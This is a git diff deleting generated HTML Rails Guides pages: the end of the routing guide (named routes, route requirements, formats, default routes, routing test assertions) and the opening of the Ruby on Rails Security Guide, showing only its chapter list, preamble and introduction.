-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photos/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span></tt></pre></div></div>
-<div class="paragraph"><p>With this route, an incoming URL of <tt>/photos/12</tt> would be dispatched to the <tt>show</tt> action within the <tt>Photos</tt> controller.</p></div>
-<div class="paragraph"><p>You an also define other defaults in a route by supplying a hash for the <tt>:defaults</tt> option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photos/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>defaults <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>format <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'jpg'</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
-<div class="paragraph"><p>With this route, an incoming URL of <tt>photos/12</tt> would be dispatched to the <tt>show</tt> action within the <tt>Photos</tt> controller, and <tt>params[:format]</tt> will be set to <tt>jpg</tt>.</p></div>
-<h3 id="_named_routes_2">4.6. Named Routes</h3>
-<div class="paragraph"><p>Regular routes need not use the <tt>connect</tt> method. You can use any other name here to create a <em>named route</em>. For example,</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>logout <span style="color: #FF0000">'/logout'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'sessions'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'destroy'</span></tt></pre></div></div>
-<div class="paragraph"><p>This will do two things. First, requests to <tt>/logout</tt> will be sent to the <tt>destroy</tt> method of the <tt>Sessions</tt> controller. Second, Rails will maintain the <tt>logout_path</tt> and <tt>logout_url</tt> helpers for use within your code.</p></div>
-<h3 id="_route_requirements">4.7. Route Requirements</h3>
-<div class="paragraph"><p>You can use the <tt>:requirements</tt> option to enforce a format for any parameter in a route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>requirements <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z]\d{5}/</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
-<div class="paragraph"><p>This route would respond to URLs such as <tt>/photo/A12345</tt>. You can more succinctly express the same route this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z]\d{5}/</span></tt></pre></div></div>
-<h3 id="_route_conditions">4.8. Route Conditions</h3>
-<div class="paragraph"><p>Route conditions (introduced with the <tt>:conditions</tt> option) are designed to implement restrictions on routes. Currently, the only supported restriction is <tt>:method</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
- <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span></tt></pre></div></div>
-<div class="paragraph"><p>As with conditions in RESTful routes, you can specify <tt>:get</tt>, <tt>:post</tt>, <tt>:put</tt>, <tt>:delete</tt>, or <tt>:any</tt> for the acceptable method.</p></div>
-<h3 id="_route_globbing">4.9. Route Globbing</h3>
-<div class="paragraph"><p>Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/*other'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'unknown'</span><span style="color: #990000">,</span></tt></pre></div></div>
-<div class="paragraph"><p>This route would match <tt>photo/12</tt> or <tt>/photo/long/path/to/12</tt> equally well, creating an array of path segments as the value of <tt>params[:other]</tt>.</p></div>
-<h3 id="_route_options">4.10. Route Options</h3>
-<div class="paragraph"><p>You can use <tt>:with_options</tt> to simplify defining groups of similar routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>with_options <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photo'</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>photo<span style="color: #990000">|</span>
- photo<span style="color: #990000">.</span>list <span style="color: #FF0000">''</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'index'</span>
- photo<span style="color: #990000">.</span>delete <span style="color: #FF0000">':id/delete'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'delete'</span>
- photo<span style="color: #990000">.</span>edit <span style="color: #FF0000">':id/edit'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'edit'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The importance of <tt>map.with_options</tt> has declined with the introduction of RESTful routes.</p></div>
-</div>
-<h2 id="_formats_and_respond_to">5. Formats and respond_to</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>There&#8217;s one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special <tt>:format</tt> parameter in the route.</p></div>
-<div class="paragraph"><p>For instance, consider the second of the default routes in the boilerplate <tt>routes.rb</tt> file:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span></tt></pre></div></div>
-<div class="paragraph"><p>This route matches requests such as <tt>/photo/edit/1.xml</tt> or <tt>/photo/show/2.rss</tt>. Within the appropriate action code, you can issue different responses depending on the requested format:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
- format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># return the default template for HTML</span></span>
- format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@photo</span><span style="color: #990000">.</span>to_xml <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_specifying_the_format_with_an_http_header">5.1. Specifying the Format with an HTTP Header</h3>
-<div class="paragraph"><p>If there is no <tt>:format</tt> parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.</p></div>
-<h3 id="_recognized_mime_types">5.2. Recognized MIME types</h3>
-<div class="paragraph"><p>By default, Rails recognizes <tt>html</tt>, <tt>text</tt>, <tt>json</tt>, <tt>csv</tt>, <tt>xml</tt>, <tt>rss</tt>, <tt>atom</tt>, and <tt>yaml</tt> as acceptable response types. If you need types beyond this, you can register them in your environment:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Mime<span style="color: #990000">::</span>Type<span style="color: #990000">.</span>register <span style="color: #FF0000">"image/jpg"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>jpg</tt></pre></div></div>
-</div>
-<h2 id="_the_default_routes">6. The Default Routes</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>When you create a new Rails application, <tt>routes.rb</tt> is initialized with two default routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
-map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span></tt></pre></div></div>
-<div class="paragraph"><p>These routes provide reasonable defaults for many URLs, if you&#8217;re not using RESTful routing.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The default routes will make every action of every controller in your application accessible to GET requests. If you&#8217;ve designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you&#8217;ve had the default routes enabled during development, though, you need to be sure that you haven&#8217;t unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_the_empty_route">7. The Empty Route</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Don&#8217;t confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to <tt>http://example.com</tt> or <tt>http://example.com/</tt> will be handled by the empty route.</p></div>
-<h3 id="_using_map_root">7.1. Using map.root</h3>
-<div class="paragraph"><p>The preferred way to set up the empty route is with the <tt>map.root</tt> command:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span></tt></pre></div></div>
-<div class="paragraph"><p>The use of the <tt>root</tt> method tells Rails that this route applies to requests for the root of the site.</p></div>
-<div class="paragraph"><p>For better readability, you can specify an already-created route in your call to <tt>map.root</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>index <span style="color: #FF0000">'index'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span>
-map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>index</tt></pre></div></div>
-<div class="paragraph"><p>Because of the top-down processing of the file, the named route must be specified <em>before</em> the call to <tt>map.root</tt>.</p></div>
-<h3 id="_connecting_the_empty_string">7.2. Connecting the Empty String</h3>
-<div class="paragraph"><p>You can also specify an empty route by explicitly connecting the empty string:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">''</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"main"</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">If the empty route does not seem to be working in your application, make sure that you have deleted the file <tt>public/index.html</tt> from your Rails tree.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_inspecting_and_testing_routes">8. Inspecting and Testing Routes</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.</p></div>
-<h3 id="_seeing_existing_routes_with_rake">8.1. Seeing Existing Routes with rake</h3>
-<div class="paragraph"><p>If you want a complete list of all of the available routes in your application, run the <tt>rake routes</tt> command. This will dump all of your routes to the console, in the same order that they appear in <tt>routes.rb</tt>. For each route, you&#8217;ll see:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-The route name (if any)
-</p>
-</li>
-<li>
-<p>
-The HTTP verb used (if the route doesn&#8217;t respond to all verbs)
-</p>
-</li>
-<li>
-<p>
-The URL pattern
-</p>
-</li>
-<li>
-<p>
-The routing parameters that will be generated by this URL
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>For example, here&#8217;s a small section of the <tt>rake routes</tt> output for a RESTful route:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt> users GET /users {:controller=&gt;"users", :action=&gt;"index"}
-formatted_users GET /users.:format {:controller=&gt;"users", :action=&gt;"index"}
- POST /users {:controller=&gt;"users", :action=&gt;"create"}
- POST /users.:format {:controller=&gt;"users", :action=&gt;"create"}</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You&#8217;ll find that the output from <tt>rake routes</tt> is much more readable if you widen your terminal window until the output lines don&#8217;t wrap.</td>
-</tr></table>
-</div>
-<h3 id="_testing_routes">8.2. Testing Routes</h3>
-<div class="paragraph"><p>Routes should be included in your testing strategy (just like the rest of your application). Rails offers three <a href="http://api.rubyonrails.com/classes/ActionController/Assertions/RoutingAssertions.html">built-in assertions</a> designed to make testing routes simpler:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>assert_generates</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>assert_recognizes</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>assert_routing</tt>
-</p>
-</li>
-</ul></div>
-<h4 id="_the_tt_assert_generates_tt_assertion">8.2.1. The <tt>assert_generates</tt> Assertion</h4>
-<div class="paragraph"><p>Use <tt>assert_generates</tt> to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_generates <span style="color: #FF0000">"/photos/1"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span>
-assert_generates <span style="color: #FF0000">"/about"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"about"</span></tt></pre></div></div>
-<h4 id="_the_tt_assert_recognizes_tt_assertion">8.2.2. The <tt>assert_recognizes</tt> Assertion</h4>
-<div class="paragraph"><p>The <tt>assert_recognizes</tt> assertion is the inverse of <tt>assert_generates</tt>. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_recognizes <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"show"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"1"</span> <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">"/photos/1"</span></tt></pre></div></div>
-<div class="paragraph"><p>You can supply a <tt>:method</tt> argument to specify the HTTP verb:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_recognizes <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"create"</span> <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span></tt></pre></div></div>
-<div class="paragraph"><p>You can also use the RESTful helpers to test recognition of a RESTful route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_recognizes new_photo_url<span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span></tt></pre></div></div>
-<h4 id="_the_tt_assert_routing_tt_assertion">8.2.3. The <tt>assert_routing</tt> Assertion</h4>
-<div class="paragraph"><p>The <tt>assert_routing</tt> assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of <tt>assert_generates</tt> and <tt>assert_recognizes</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert_routing <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>path <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"photos"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"create"</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
-</div>
-<h2 id="_changelog">9. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3">Lighthouse ticket</a></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes , by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-September 23, 2008: Added section on namespaced controllers and routing, by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-September 10, 2008: initial version by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/security.html b/railties/doc/guides/html/security.html
deleted file mode 100644
index 371decda64..0000000000
--- a/railties/doc/guides/html/security.html
+++ /dev/null
@@ -1,1153 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Ruby On Rails Security Guide</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_introduction">Introduction</a>
- </li>
- <li>
- <a href="#_sessions">Sessions</a>
- <ul>
-
- <li><a href="#_what_are_sessions">What are sessions?</a></li>
-
- <li><a href="#_session_id">Session id</a></li>
-
- <li><a href="#_session_hijacking">Session hijacking</a></li>
-
- <li><a href="#_session_guidelines">Session guidelines</a></li>
-
- <li><a href="#_session_storage">Session storage</a></li>
-
- <li><a href="#_replay_attacks_for_cookiestore_sessions">Replay attacks for CookieStore sessions</a></li>
-
- <li><a href="#_session_fixation">Session fixation</a></li>
-
- <li><a href="#_session_fixation_countermeasures">Session fixation – Countermeasures</a></li>
-
- <li><a href="#_session_expiry">Session expiry</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_cross_site_reference_forgery_csrf">Cross-Site Reference Forgery (CSRF)</a>
- <ul>
-
- <li><a href="#_csrf_countermeasures">CSRF Countermeasures</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_redirection_and_files">Redirection and Files</a>
- <ul>
-
- <li><a href="#_redirection">Redirection</a></li>
-
- <li><a href="#_file_uploads">File uploads</a></li>
-
- <li><a href="#_executable_code_in_file_uploads">Executable code in file uploads</a></li>
-
- <li><a href="#_file_downloads">File downloads</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_intranet_and_admin_security">Intranet and Admin security</a>
- <ul>
-
- <li><a href="#_additional_precautions">Additional precautions</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_mass_assignment">Mass assignment</a>
- <ul>
-
- <li><a href="#_countermeasures">Countermeasures</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_user_management">User management</a>
- <ul>
-
- <li><a href="#_brute_forcing_accounts">Brute-forcing accounts</a></li>
-
- <li><a href="#_account_hijacking">Account hijacking</a></li>
-
- <li><a href="#_captchas">CAPTCHAs</a></li>
-
- <li><a href="#_logging">Logging</a></li>
-
- <li><a href="#_good_passwords">Good passwords</a></li>
-
- <li><a href="#_regular_expressions">Regular expressions</a></li>
-
- <li><a href="#_privilege_escalation">Privilege escalation</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_injection">Injection</a>
- <ul>
-
- <li><a href="#_whitelists_versus_blacklists">Whitelists versus Blacklists</a></li>
-
- <li><a href="#_sql_injection">SQL Injection</a></li>
-
- <li><a href="#_cross_site_scripting_xss">Cross-Site Scripting (XSS)</a></li>
-
- <li><a href="#_css_injection">CSS Injection</a></li>
-
- <li><a href="#_textile_injection">Textile Injection</a></li>
-
- <li><a href="#_ajax_injection">Ajax Injection</a></li>
-
- <li><a href="#_rjs_injection">RJS Injection</a></li>
-
- <li><a href="#_command_line_injection">Command Line Injection</a></li>
-
- <li><a href="#_header_injection">Header Injection</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_additional_resources">Additional resources</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Ruby On Rails Security Guide</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
-mail me, Heiko Webers, at 42 {<em>et</em>} rorsecurity.info. After reading it, you should be familiar with:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-All countermeasures <span style="background-color: #fffcdb;">that are highlighted</span>
-</p>
-</li>
-<li>
-<p>
-The concept of sessions in Rails, what to put in there and popular attack methods
-</p>
-</li>
-<li>
-<p>
-How just visiting a site can be a security problem (with CSRF)
-</p>
-</li>
-<li>
-<p>
-What you have to pay attention to when working with files or providing an administration interface
-</p>
-</li>
-<li>
-<p>
-The Rails-specific mass assignment problem
-</p>
-</li>
-<li>
-<p>
-How to manage users: Logging in and out and attack methods on all layers
-</p>
-</li>
-<li>
-<p>
-And the most popular injection attack methods
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_introduction">1. Introduction</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.</p></div>
-<div class="paragraph"><p>In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).</p></div>
-<div class="paragraph"><p>The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.</p></div>
-<div class="paragraph"><p>The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.</p></div>
-<div class="paragraph"><p>In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.</p></div>
-</div>
-<h2 id="_sessions">2. Sessions</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.</p></div>
-<h3 id="_what_are_sessions">2.1. What are sessions?</h3>
-<div class="paragraph"><p>-- <em>HTTP is a stateless protocol Sessions make it stateful.</em></p></div>
